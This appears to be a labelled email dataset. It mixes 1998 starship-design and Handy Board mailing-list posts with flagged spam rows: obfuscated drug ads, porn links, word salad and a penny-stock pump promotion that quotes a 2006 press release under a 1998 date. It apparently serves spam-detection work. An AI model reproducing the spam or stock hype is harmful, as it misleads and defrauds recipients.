> It would seem that if we could somehow reflect this energy back into the reaction it would provide enough energy to ""pump"" the reaction. Except of course that unless it was made to reflect back and forth many millions of times, it wouldn't hit anything, even at the core of a dense plasma. Ohh well... > My brief thoughts on the whole fusion power thing are: > > Any fusion drive that depends on uncommon elements or isotopes > probably implies that the fuel has to be gathered ahead of time > and stored on board. Deuterium, tritium, helium-3, and so on are > not easy to come by and take significant time and energy to > refine out of a planetary atmosphere or ocean or the interstellar > medium. The main reason such isotopes are considered for fusion > power plants on Earth is that the lower cost of fusing them looks > attractive even compared to the cost of refining them out of > seawater. For spacecraft fuel I really believe that becomes a > significant disadvantage. I think the only mitigating factor is > that it might not be too expensive to synthesize the uncommon > isotopes from the far more abundant common isotopes in order to > be able to run the fusion reactor with lower temperatures. > Actually, this is one of the driving factors behind colonies on the moon. Both of these elements are very common there and extraction from lunar regolith of relatively concentrated He3 and Li6 using solar power has GOT to be cheaper than extraction from seawater. Lee >From VM Thu Aug 20 10:06:29 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2580"" ""Thu"" ""20"" ""August"" ""1998"" ""13:10:17"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""60"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2580 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id IAA20180 for starship-design-outgoing; Thu, 20 Aug 1998 08:34:51 -0700 (PDT) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id IAA20167 for ; Thu, 20 Aug 1998 08:34:48 -0700 (PDT) Received: from tim (dc2-modem2179.dial.xs4all.nl [194.109.136.131]) by smtp3.xs4all.nl (8.8.8/8.8.8) with SMTP id RAA17911 for ; Thu, 20 Aug 1998 17:34:43 +0200 (CEST) Message-Id: <3.0.1.32.19980820131017.00795ce0@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <13787.13003.131985.67392@tzadkiel.efn.org> References: <3.0.1.32.19980819135341.007cb350@pop.xs4all.nl> <3.0.1.32.19980818211552.007a4e40@pop.xs4all.nl> <3.0.1.32.19980819135341.007cb350@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Staged Fusion Power Date: Thu, 20 Aug 1998 13:10:17 +0100 Hello Steve, >Any fusion drive that depends on uncommon elements or isotopes >probably implies that the fuel has to be gathered ahead of time >and stored on board. In the past we calculated that scooping matter during travel in interstellar space would likely get us too little mass. So I indeed assumed that mass would be stored on board or that it would be launched in advance along the track that the starship will follow. >Deuterium, tritium, helium-3, and so on are >not easy to come by and take significant time and energy to >refine out of a planetary atmosphere or ocean or the interstellar >medium. The main reason such isotopes are considered for fusion >power plants on Earth is that the lower cost of fusing them looks >attractive even compared to the cost of refining them out of >seawater. For spacecraft fuel I really believe that becomes a >significant disadvantage. For multiple flights that may be true, but for a single interstellar flight optimizing the fuel may be worth the additional work of refining the wanted isotopes for the fuel. Isolating isotopes may not be easy, but the technology to do it is available. >I think the only mitigating factor is >that it might not be too expensive to synthesize the uncommon >isotopes from the far more abundant common isotopes in order to >be able to run the fusion reactor with lower temperatures. I think another reason that makes isolating or synthesizing special isotopes worth the expenses is that some of the reactions involving less common isotopes may deliver more than 2 times the amount of energy per unit of mass. >I also don't know where you got the fusion reaction that produces >iron directly from a bunch of hydrogen and helium, unless it's >the abbreviation of a whole bunch of intermediate reactions. If >it's possible, it's really darn unlikely to be able to do it all >in one step. In my 8/17 letter I wrote: (II) 24 (2H) + 2 (3H) -> 1 (54)Fe + 401.4 MeV ... Reaction (II) is the short-circuit of the multi stage fusion. I don't actually have/know all the steps in between, but it wasn't my purpose to display what in reality was possible. I merely wanted to compare a single-stage fusion reaction with the best possible way (energy-wise) to get iron. (I could have chosen worse possibilities, that would have strengthened my point that multistage fusion isn't worth the trouble.) My goal was to show that some of the best single stage fusion reactions would not be that much worse than complex and likely hard to realize multi staged fusion reactions. Timothy >From VM Thu Aug 20 10:06:29 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""797"" ""Thu"" ""20"" ""August"" ""1998"" ""12:26:08"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""25"" ""RE: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 797 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id IAA20212 for starship-design-outgoing; Thu, 20 Aug 1998 08:34:53 -0700 (PDT) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id IAA20173 for ; Thu, 20 Aug 1998 08:34:50 -0700 (PDT) Received: from tim (dc2-modem2179.dial.xs4all.nl [194.109.136.131]) by smtp3.xs4all.nl (8.8.8/8.8.8) with SMTP id RAA17957 for ; Thu, 20 Aug 1998 17:34:47 +0200 (CEST) Message-Id: <3.0.1.32.19980820122608.00798ab0@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <000101bdcbb7$079b16a0$e05931cc@lparker> References: <3.0.1.32.19980819135341.007cb350@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Staged Fusion Power Date: Thu, 20 Aug 1998 12:26:08 +0100 Hi Lee, >>>Too bad we can't use the gamma rays produced in the D+D reaction though... >> >> What would you use them for? > >Well, I just hate to see 20 MeV go to waste! But aren't the gamma rays absorbed by the the plasma? >>>As you said, your notation is a little different but it is understandable. >>>Where did you get the 18.4 MeV though? > >> D+He3 -> He4 (3.6 MeV) + p (14.7 MeV) >> 3.6+14.7=18.3MeV My 18.4MeV is actually 18.35MeV, so the difference is >> likely due to rounding errors. > >Umm, I don't think the 3.6 MeV is usable, that is potential energy bound up >in the He4. I'm pretty sure that both the 3.6 and 14.7 MeV are kinetic (heat) energy (since the energy ratio of both particles is exactly what one would expect from their mass ratio). Can anyone confirm this? Timothy >From VM Sun Aug 23 16:36:21 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""17086"" ""Sat"" ""22"" ""August"" ""1998"" ""07:21:08"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""343"" ""starship-design: FW: SSRT: Space Access Society Political Alert 8/20/98 (fwd)"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 17086 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id FAA24888 for starship-design-outgoing; Sat, 22 Aug 1998 05:25:55 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id FAA24883 for ; Sat, 22 Aug 1998 05:25:52 -0700 (PDT) Received: from lparker (p237.gnt.com [204.49.89.237]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id HAA09690 for ; Sat, 22 Aug 1998 07:25:47 -0500 Message-ID: <000c01bdcdc7$582752c0$ce5931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: FW: SSRT: Space Access Society Political Alert 8/20/98 (fwd) Date: Sat, 22 Aug 1998 07:21:08 -0500 -----Original Message----- From: listserv@ds.cc.utexas.edu [mailto:listserv@ds.cc.utexas.edu] On Behalf Of Chris W. Johnson Sent: Friday, August 21, 1998 8:32 PM To: Single Stage Rocket Technology News Subject: SSRT: Space Access Society Political Alert 8/20/98 (fwd) Date: Fri, 21 Aug 1998 17:55:01 -0400 (EDT) From: Donald L Doughty To: delta-clipper@world.std.com Subject: SAS Political Alert, Military Spaceplane Funding - 8/20/98 (fwd) Sender: delta-clipper-approval@world.std.com Reply-To: delta-clipper@world.std.com >Resent-From: hvanderbilt@BIX.com >Resent-To: spacelst@world.std.com Space Access Society Political Alert 8/20/98 ""Military Spaceplane"" Technology Project Funding ___________________________________________________________________ The impression among many of our advisors a year ago was that we'd just about won, and could all go tend our own gardens. This, alas, has turned out not to be the case. (On a personal note, being burnt out from spending much of the last twelve years at this has gotten boring. - HV) There's work to do. We're back. We were never all that far gone, actually - we've been keeping an eye on developments, butting in once or twice when needed, and of course we put on Space Access '98 this spring, the latest of our annual gettogethers of some of the more interesting players in the cheap access field. (We'll be doing it again next spring; we're currently looking at Friday April 16th through Sunday April 18th - drop us a note ASAP if you know of a major schedule conflict we've missed that weekend; we're close to closing the hotel contract.) The specific thing that's stirred us out of our public silence is a chance to usefully increase the diversity of the US government's reusable launcher technology development efforts. Your help over the next couple weeks can improve the odds of this happening considerably. ___________________________________________________________________ - Summary The USAF Military Spaceplane (MSP) technology project was line-item vetoed last fall. Now that the line-item veto has been tossed out by the courts, we want to see that $10 million in MSP funding for this year restored, and we want to see at least $25 million added for MSP to next years budget. The Congress is in recess until after Labor Day - your Representative and Senators will likely be making appearances locally at ""town meetings"", Labor Day events etc. You may be able to find an opportunity to ask them personally to support adding at least $25 million for USAF Military Spaceplane research to the FY'99 Defense budget. You can definitely let their DC offices know what you want. ___________________________________________________________________ - Background The USAF ""Military Spaceplane"" (MSP) technology project grew out of the DC-X program office at Phillips Labs in New Mexico. The project's goal is to put together and test technologies to support eventual development of low-cost fast-turnaround reusable military spacecraft. USAF MSP has been severely budget-limited, bottoming out with last year's line-item veto, but they have managed to bring one project, the X-40A ""Space Maneuver Vehicle"" (SMV), a reusable recoverable autonomous upper stage, to the point of its successful first flight test last week - an unpowered drop-test that checked out the X-40A's low-speed aerodynamics and autoland capability. USAF MSP has other worthwhile projects stuck at the planning stage for lack of funds, in particular their Integrated Technology Testbed (ITTB), an expandable ground-test rig that would bring together representative reusable launcher hardware and run it through repeated realistic space-mission simulations. ITTB might eventually, depending on both funding and interim results, be evolved into some sort of son-of-DC-X low-cost flight demonstrator - but the project is designed to return useful knowledge across a range of funding levels. Space Access Society believes that USAF MSP is a good value for taxpayer dollars, for a number of reasons. - They have a good track record, building the DC-X reusable rocket demonstrator and flying it eight times (before NASA took it over) for roughly a hundred million dollars total, not to mention their recent first-flight X-40A success. - The potential USAF requirements MSP is aiming at have much in common with potential commercial RLV operator requirements - fast turnaround, small ground crews, minimal fixed ground infrastructure for dispersed operations, and both ground-to-orbit and high-speed point-to-point flight. The operational characteristics and also the technologies USAF MSP is looking at are largely complementary to, not competitive with, the direction various NASA RLV efforts are taking. (NASA RLV has displayed a tendency to concentrate on radical technological advances while paying less attention to the mundane operational considerations that are of critical interest to both potential military and commercial operators.) Put another way, USAF and Fedex requirements have a lot more in common with each other than either has with NASA's. - MSP is cheap insurance against both hostile space competition in the next century, and against possible problems with NASA RLV efforts, about which the jury is still very much out. If nothing else, a little friendly competition concentrates minds no end... Congressional Background Congress is out of session until after Labor Day, when they'll reconvene for the final push to pass all the FY'99 budget bills by early October, leaving them some time to campaign before the November elections. The House and Senate versions of the Defense Appropriation bill are already passed and ready for the conference committee to hammer out the differences, and neither contains anything for Military Spaceplane. Normally this would mean no chance for MSP; Congressional procedure usually forbids adding anything in conference that wasn't in at least one version of the bill. But these are unusual circumstances: the reason there was no MSP money in either bill was that MSP was among the handful of items line-item vetoed last year, and until the courts overturned the line-item veto, there seemed no point in including MSP again only to be line-item vetoed again. ___________________________________________________________________ - SAS Action Recommendations Who To Target Members of the House and Senate Appropriations Defense subcommittees (plus the overall Appropriations Committee bosses) are key; they will most likely be the Defense Appropriations conference members. Other members of the Appropriations Committees also have influence here and are worth contacting, as are members of the House and Senate Defense Authorizations committees. And even those not in any of these positions can if they choose put in a word with their colleagues who are. See attached lists for whether your Representative or Senators are on the Defense subcommittees. (Your 9-digit zip code and www.vote- smart.org will tell you who your Representative and Senators are, what committees they're on, and what their DC and local office phone and fax numbers are.) What To Do Congress is out of session until after Labor Day - this means many Representatives and some Senators will be back in the home districts warming up for this fall's reelection campaigns, appearing at numerous public and private events. Those of you who have some previous experience at this might want to prepare a five-minute presentation on why USAF MSP should be funded and try to make an appointment to brief your Representative or Senator. Any of you feeling moderately ambitious, articulate, and presentable might want to call your Representative or Senator's local office and ask for their local event schedule with an eye toward one where you might have a chance to give MSP funding a ten-second pitch, and go do it. A ""town meeting"" event where you can deliver a question from the audience, a picnic where you can walk up, introduce yourself as a constituent, and ask support for MSP funding, etc... If you do this, bring along a one-page letter describing what it is you're asking for, as below, so you can hand it to one of the staffers likely to be nearby after you make your point. Then follow up by contacting the DC office of the person you've pitched, as below, mentioning this is something you asked their boss for at whatever the event was. The default is to call, write, or fax your Congressman's and/or your Senators' DC offices, and ask that they support adding $25 million to the (FY'99) Defense budget for Military Spaceplane technology work in Program Element 603401F, in the Defense Appropriations Conference. If you call, ask to speak to the person who handles defense matters. (If they tell you their boss isn't on any of the defense committees, ask them if their boss could pass this along to one of his/her colleagues who is.) Chances are you'll get switched to their voicemail. Voicemail or in person, identify yourself as a constituent (Hi, I'm Joe Smith from Sheboygan), make your pitch briefly, give them a one-sentence reason why you think it's important, thank them for their time, and ring off. If you do get them live and they have questions, do your best to answer them. If you write or fax, keep it short, one page max, and state your main point at the start, then briefly give supporting points. Make sure to sign it with where you're from (""Joe Smith, Sheboygan"") so they know you're an actual constituent. And of course, either way, be polite - the staffers who'll likely be handling your contact are chronically underpaid and overworked. One bad impression can waste a lot of good impressions. ___________________________________________________________________ (Space Access Society's sole purpose is to promote near-term radical reductions in the cost of reaching space. We encourage you to redistribute this Alert in any medium you choose. ___________________________________________________________________ Space Access Society http://www.space-access.org space.access@space-access.org ""Reach low orbit and you're halfway to anywhere in the Solar System"" - Robert Anson Heinlein ___________________________________________________________________ Congressional Committee Lists LIKELY DEFENSE APPROPRIATIONS CONFERENCE MEMBERS House Appropriations Committee, National Security Subcommittee (Appropriations Chair) voice fax Livingston, Robert (R-01 LA) 1-202-225-3015 1-202-225-0739 (Appropriations Ranking Minority Member) Obey, David R. (D-07) 1-202-225-3365 1-202-225-0561 (NatSec Subcommittee Chair) Young, C. W. Bill (R-10 FL) 1-202-225-5961 1-202-225-9764 (NatSec Subcommittee RMM) Murtha, John P. (D-12 PA) 1-202-225-2065 1-202-225-5709 Lewis, Jerry (R-40 CA) 1-202-225-5861 1-202-225-6498 Dixon, Julian C. (D-32 CA) 1-202-225-7084 1-202-225-4091 Randy Cunningham (R CA) 1-202-225-5452 1-202-225-2558 Visclosky, Peter J. (D-01 IN) 1-202-225-2461 1-202-225-2493 Sabo, Martin Olav (D-05 MN) 1-202-225-4755 1-202-225-4886 Hefner, Bill (D-08 NC) 1-202-225-3715 1-202-225-4036 Skeen, Joseph (R-02 NM) 1-202-225-2365 1-202-225-9599 Hobson, David L. (R-07 OH) 1-202-225-4324 1-202-225-1984 Istook, Ernest Jim (R-05 OK) 1-202-225-2132 1-202-226-1463 McDade, Joseph M. (R-10 PA) 1-202-225-3731 1-202-225-9594 Bonilla, Henry (R-23 TX) 1-202-225-4511 1-202-225-2237 Nethercutt, George (R-05 WA) 1-202-225-2006 1-202-225-7181 Dicks, Norman D. (D-06 WA) 1-202-225-5916 1-202-226-1176 Senate Appropriations Committee, Defense Subcommittee (chair, SAC Defense Subcommittee) voice fax Sen. Stevens, Ted (R AK) 1-202-224-3004 1-202-224-1044 (Ranking Minority Member, SAC Defense Subcommittee) Sen. Inouye, Daniel (D HI) 1-202-224-3934 1-202-224-6747 Sen. Cochran, Thad (R MS) 1-202-224-5054 1-202-224-3576 Sen. Domenici, Pete V. (R NM) 1-202-224-6621 1-202-224-7371 Sen. McConnell, Mitch (R KY) 1-202-224-2541 1-202-224-2499 Sen. Specter, Arlen (R PA) 1-202-224-4254 1-202-224-1893 Sen. Bond, Christopher (R MO) 1-202-224-5721 1-202-224-8149 Sen. Shelby, Richard C. (R AL) 1-202-224-5744 1-202-224-3416 Sen. Hollings, Ernest (D SC) 1-202-224-6121 1-202-224-4293 Sen. Byrd, Robert (D WV) 1-202-224-3954 1-202-224-4025 Sen. Leahy, Patrick (D VT) 1-202-224-4242 1-202-224-3595 Sen. Harkin, Thomas (D IA) 1-202-224-3254 1-202-224-7431 Sen. Lautenberg, Frank (D NJ) 1-202-224-4744 1-202-224-9707 Sen. Hutchison, Kay Bailey (R TX) 1-202-224-5922 1-202-224-0776 Sen. Gregg, Judd (R NH) 1-202-224-3324 1-202-224-4952 Sen. Bumpers, Dale (D AR) 1-202-224-4843 1-202-224-6435 Sen. Dorgan, Byron (D ND) 1-202-224-2551 1-202-224-1193 ___________________________________________________________________ DEFENSE AUTHORIZATIONS COMMITTEE MEMBERS House National Security Committee (Committee chairman) Spence, Floyd (R 2 SC) 1-202-225-2452 1-202-225-2455 Stump, Robert (R 3 AZ) 1-202-225-4576 1-202-225-6328 Hunter, Duncan L. (R 52 CA) 1-202-225-5672 1-202-225-0235 Kasich, John R. (R 12 OH) 1-202-225-5355 na Bateman, Herbert H. (R 1 VA) 1-202-225-4261 1-202-225-4382 Hansen, James V. (R 1 UT) 1-202-225-0453 1-202-225-5857 Weldon, Curt (R 7 PA) 1-202-225-2011 1-202-225-8137 Hefley, Joel (R 5 CO) 1-202-225-4422 1-202-225-1942 Saxton, H. James (R 3 NJ) 1-202-225-4765 1-202-225-0778 Buyer, Steve (R 5 IN) 1-202-225-5037 1-202-225-2267 Fowler, Tillie (R 4 FL) 1-202-225-2501 1-202-225-9318 McHugh, John M. (R 24 NY) 1-202-225-4611 1-202-226-0621 Talent, James M. (R 2 MO) 1-202-225-2561 1-202-225-2563 Everett, Terry (R 2 AL) 1-202-225-2901 1-202-225-8913 Bartlett, Roscoe G. (R 6 MD) 1-202-225-2721 1-202-225-2193 Lewis, Ron (R 2 KY) 1-202-225-3501 1-202-226-2019 Watts, J.C. (R 4 OK) 1-202-225-6165 1-202-225-3512 Chambliss, Saxby (R 8 GA) 1-202-225-6531 1-202-225-3013 Riley, Bob (R 3 AL) 1-202-225-3261 1-202-225-5827 (Committee ranking minority member) Dellums, Ronald V. (D 9 CA) 1-202-225-2661 1-202-225-9817 Skelton, Ike (D 4 MO) 1-202-225-2876 1-202-225-2695 Sisisky, Norman (D 4 VA) 1-202-225-6365 1-202-226-1170 Spratt Jr., John M. (D 5 SC) 1-202-225-5501 1-202-225-0464 Ortiz, Solomon P. (D 27 TX) 1-202-225-7742 1-202-226-1134 Pickett, Owen B. (D 2 VA) 1-202-225-4215 1-202-225-4218 Evans, Lane (D 17 IL) 1-202-225-5905 1-202-225-5396 Taylor, Gene (D 5 MS) 1-202-225-5772 1-202-225-7074 Abercrombie, Neil (D 1 HI) 1-202-225-2726 1-202-225-4580 Meehan, Martin T. (D 5 MA) 1-202-225-3411 1-202-226-0771 Harman, Jane (D 36 CA) 1-202-225-8220 1-202-226-0684 McHale, Paul (D 15 PA) 1-202-225-6411 1-202-225-5320 Kennedy, Patrick (D 1 RI) 1-202-225-4911 1-202-225-3290 Blagojevich, Rod (D 5 IL) 1-202-225-4061 1-202-225-5603 Snyder, Vic (D 2 AR) 1-202-225-2506 1-202-225-5903 Rodriguez, Ciro (D 28 TX) 1-202-225-1640 1-202-225-1641 Senate Armed Services Committee Thurmond, Strom R SC 1-202-224-5972 1-202-224-1300 Warner, John W. R VA 1-202-224-2023 1-202-224-6079 McCain, John R AZ 1-202-224-2235 1-202-228-2862 Coats, Daniel R. R IN 1-202-224-5623 1-202-228-4137 Smith, Bob R NH 1-202-224-2841 1-202-224-1353 Kempthorne, Dirk R ID 1-202-224-6142 1-202-224-5893 Inhofe, James R OK 1-202-224-4721 1-202-228-0380 Santorum, Rick R PA 1-202-224-6324 1-202-228-0604 Snowe, Olympia R ME 1-202-224-5344 1-202-224-1946 Roberts, Pat R KS 1-202-224-4774 1-202-224-3514 Levin, Carl D MI 1-202-224-6221 1-202-224-1388 Kennedy, Edward M. D MA 1-202-224-4543 1-202-224-2417 Bingaman, Jeff D NM 1-202-224-5521 1-202-224-2852 Glenn, John D OH 1-202-224-3353 1-202-224-7983 Byrd, Robert C. D WV 1-202-224-3954 1-202-228-0002 Robb, Charles S. D VA 1-202-224-4024 1-202-224-8689 Lieberman, Joseph I. D CT 1-202-224-4041 1-202-224-9750 Cleland, Max D GA 1-202-224-3521 1-202-224-0072 for more info, have your 9-digit zip ready and check out www.vote-smart.org *end*",0,1 Richard Drushel ,handyboard@media.mit.edu,"Mon, 17 Aug 1998 11:12:06 -0400",source for Futaba servo motors?," My previous source for Futaba (and compatible) servo motors, Images Company of Staten Island, NY, tells me they can no longer get them unless they're bundled with RC transceivers. Anybody have another source for just the servo motors? I want 6 Futaba S148 (or equivalent). I guess I should limit the sources to ""continental US"". *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Rick Moll ,Richard Drushel ,"Mon, 17 Aug 1998 11:31:33 -0500",Re: source for Futaba servo motors?,"Richard Drushel wrote: > My previous source for Futaba (and compatible) servo motors, Images > Company of Staten Island, NY, tells me they can no longer get them unless > they're bundled with RC transceivers. Anybody have another source for just > the servo motors? I want 6 Futaba S148 (or equivalent). I guess I should > limit the sources to ""continental US"". I've been buying lots and lots of servos from TowerHobbies (1-800-637-4989) and modifying them for our local robot group here in St. Louis. I've always received good customer service from them. The best prices on servos are their store brand which I believe used to all be Hobbico servos (made in IL as I recall). But now they have both a ""System 2000"" and a ""System 3000"" line of servos. I believe the ""2000"" servos are still made by Hobbico, and that the ""3000"" servos are Futaba. As I recall the ""2000"" servo part numbers corresponded directly to the Hobbico numbers; but the ""3000"" part numbers do *not* correspond to their Futaba equivalents. I've been using TS-53 servos, which I'm pretty sure must be a Futaba S3003 (although I've never dissected a S3003 to confirm this). Any way it's made lower cost than the S148 by using the PCB as an integral part of the mechanical support for the motor, and some other things have been simplified. The bottom line being that it's not as easy to modify as the S148, but since you can get them for under $10 each I chose to deal with it. When I convert the TS-53 to be a simple gear head motor, I end up removing all the parts from the PCB so it can still be used to support the motor. If I can be of more help, you're welcome to email me directly, Rick ",0,0 Jeffery Kearl ,starship-design@lists.uoregon.edu,"Mon, 17 Aug 1998 09:06:33 -0700",Re: your AhMBtEN,"Hi Look, this information might be pretty interesting for you P V V C X L A r I A I a e m o A L A n v b z G I L a i i a R U I x t e c A M S ra n http://www.slavitaden.com kettle just beginning to sing! It was not the last time that he wished that! Still the dwarves jogged on, never turning round or taking any notice of the hobbit. Somewhere behind the grey clouds the sun must have gone down, for it began to get dark. Wind got up, and the willows along the river-bank bent and sighed. I dont know what river it was, a rushing red one, swollen with the rains of the last few days, that came ",1,1 edmund ,handyboard@media.mit.edu,"Tue, 18 Aug 1998 21:19:31 -0700",A simple question.....," hello to all can someone please tell me if it is possible to connect external motor drivers (e.g a stepper motor driver) to the handy-board? if so, how can one go about doing it? i desperately need help as the dateline for my project is drawing near, any help will be greatly appreciated, thank you. thank you for your time. cheers, Edmund ",0,0 Bill James ,"handyboard@media.mit.edu, edmund ","Tue, 18 Aug 1998 10:46:31 -0700",re: A simple question.....,"I connected a high powered hbridge board to mine. I just used remove the existing hbridge chip and connect the inputs to the chip to the hbridge board made by Wirz. It works great. Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ------------------ Original text From: edmund , on 8/18/98 9:19 PM: hello to all can someone please tell me if it is possible to connect external motor drivers (e.g a stepper motor driver) to the handy-board? if so, how can one go about doing it? i desperately need help as the dateline for my project is drawing near, any help will be greatly appreciated, thank you. thank you for your time. cheers, Edmund",0,0 Dominic Roland ,starship-design@lists.uoregon.edu,"Tue, 18 Aug 1998 17:06:28 -0500",Unique Logo design! (ID2106746),"iih Our art team creates a custom logo for you, based on your needs. Years of experience have taught us how to create a logo that makes a statement that is unique to you. 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I called them this morning and ordered 6 Futaba S148 servos; they had a 3-pack for <$40; with shipping, order total was $85.93. Nomenclature note: I confused the guy on the phone by asking about ""servo motors""; to him, that meant the actual motor can inside the black case. In our class use, ""servo motor"" meant the entire package: black case, gear, motor, wiring, etc. The salesman's word for this package was ""servo"". I of course wanted the entire package, not just the bare motor dissected out. Thanks for pointing me to Tower Hobbies! *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot""",0,0 �� �ָ� ,handyboard@media.mit.edu,"Tue, 18 Aug 1998 09:40:26 -0600",ȸ��������Ѹ��̷� �ְ������ÿ�0.5�ۼ�Ʈ��ݸ�,����������-4  ��������  �� ���������� ����  ������    ���������������� ������������ ����    ���� �������� ������  �������� ������    �� �� ����   �� �� ��  ������������ ����������    ���������� �������� ���� ���������������� ��������������    ������ ������ ���� ������ ������������,1,1 Zsigmond Herr ,handyboard@media.mit.edu,"Tue, 18 Aug 1998 10:38:21 -0700",Re: your AMzBtEN,"Hi X V V L C A P a A I e I m r n L A v A b o a I G i L i z x U R t I e a M A ra S n c http://www.wasisionders.com sleep on? Not until then did they notice that Gandalf was missing. So far he had come all the way with them, never saying if he was in the adventure or merely keeping them company for a while. He had eaten most, talked most, and laughed most. But now he simply was not there at all! Just when a wizard would have been most useful, too, groaned Dori and Nori (who shared the hobbits views about regular meals, plenty and ",1,1 Frangois ,'Handyboard Mailing List' ,"Thu, 20 Aug 1998 01:04:49 +0200",Where to find the clock signal,"Hello, I would like to link a clock signal to an encoder counter.Could someone tell me if it is possible to use the 2 MHz clock signal of the HB.If yes, where can I easily pick it on the HB. If not, what kind of independant clock circuit would you suggest. Thanks, François ",0,0 Chua Choon Beng ,handyboard@media.mit.edu,"Thu, 20 Aug 1998 10:10:27 +0800",Is there a documentation on the memory map,"Where can I find documents on the handy board memory map ? Can the handy-board be program using generic assembly language og 6811 ? ==================================================== Osaka Densi Block 1003 Toa Payoh Industrial Park #04-1521, Singapore 319075 Tel : (65) 356-2848 Fax : (65) 356-2945 Office-Email : chuacb@osaka-densi.com.sg Personnal-Email : chuacb@cyberway.com.sg ==================================================== ",0,0 """Fred G. Martin"" ",Chua Choon Beng ,"Wed, 19 Aug 1998 23:11:32 -0400",Re: Is there a documentation on the memory map ,"> Where can I find documents on the handy board memory map ? Please see the FAQ; specifically: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#memmap > Can the handy-board be program using generic assembly language og 6811 ? see information on the Software/Contributed page: http://el.www.media.mit.edu/projects/handy-board/software/contrib.html Fred ",0,1 Denis Lovell ,handyboard@media.mit.edu,"Wed, 19 Aug 1998 23:37:16 -0400",Young splendiferous virgiins at harrdcore Porno.," lovely Sluts at Poorn! http://zachemtojerrv.org/fpmfporn.htm?iSPhfd.fX,hj U,N,$,U,B,S,C,R,ll,B,E http://zachemtojerrv.org ",1,1 GDFRITZ@aol.com,handyboard@media.mit.edu,"Thu, 20 Aug 1998 10:33:48 -0400",Is the IO expansion board for sale yet?,"Hi All, I'm new to the handyboard and this newsgroup. So, I'm not sure if this question has been answered yet. But, is the I/O Expansion board out of beta yet? I haven't purchased a Handyboard yet, but was waiting until I finished a few projects and the IO board was out. Thanks! Gerald ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 21 Aug 1998 23:51:05 -0400",notice of downtime,"dear all, we are moving computers within the building next week, and the el.www web server will be down beginning Monday for a while -- hopefully, just a day or two. in the meantime, please use the old URL to access the Handy Board web site: http://lcs.www.media.mit.edu/groups/el/projects/handy-board/ this server should stay up. regards, fred ",0,1 Zared Kyser ,handyboard@media.mit.edu,"Sun, 23 Aug 1998 00:12:20 -0500",What's happening in fitness world?,"or ewing ! prolate try epileptic be assam on erickson ",1,0 Tristan Connor ,Bait ,"Sun, 23 Aug 1998 04:12:43 +0520",[fwd] Watcher news,"New Release This one is from the Oil Sector. We expect great things. CTXE - CANTEX ENERGY CORP Big News Expected Monday! PRICE: 0.70 5 Day expected 2.12 Thursday was another great day of movement! Todays gain 0.16 (25.40%) Just as we promised. Starting to climb up .16 already today. Friday should be even better! A very large marketing campaign has started today and will run thru the weekend. In past campaings we have seen things really get moving with an offer like this. Cantex Energy Corp. Update on the Seismic Program for Big Canyon Ranch Project Friday April 21, 9:30 am ET SAN ANTONIO, TX--(MARKET WIRE)--Apr 21, 2006 -- Cantex Energy Corp. Management wishes to update its shareholders on the seismic program being undertaken on the 48,644 acres Big Canyon Prospect in West Texas. The Company is very pleased to confirm that the extensive geophysical program to be undertaken with Providence Technologies will commence in May 2006 with the recent confirmation of securing Quantum Geophysical, Inc. to conduct the 40 mile seismic shoot known as Big Canyon 2D Swath. 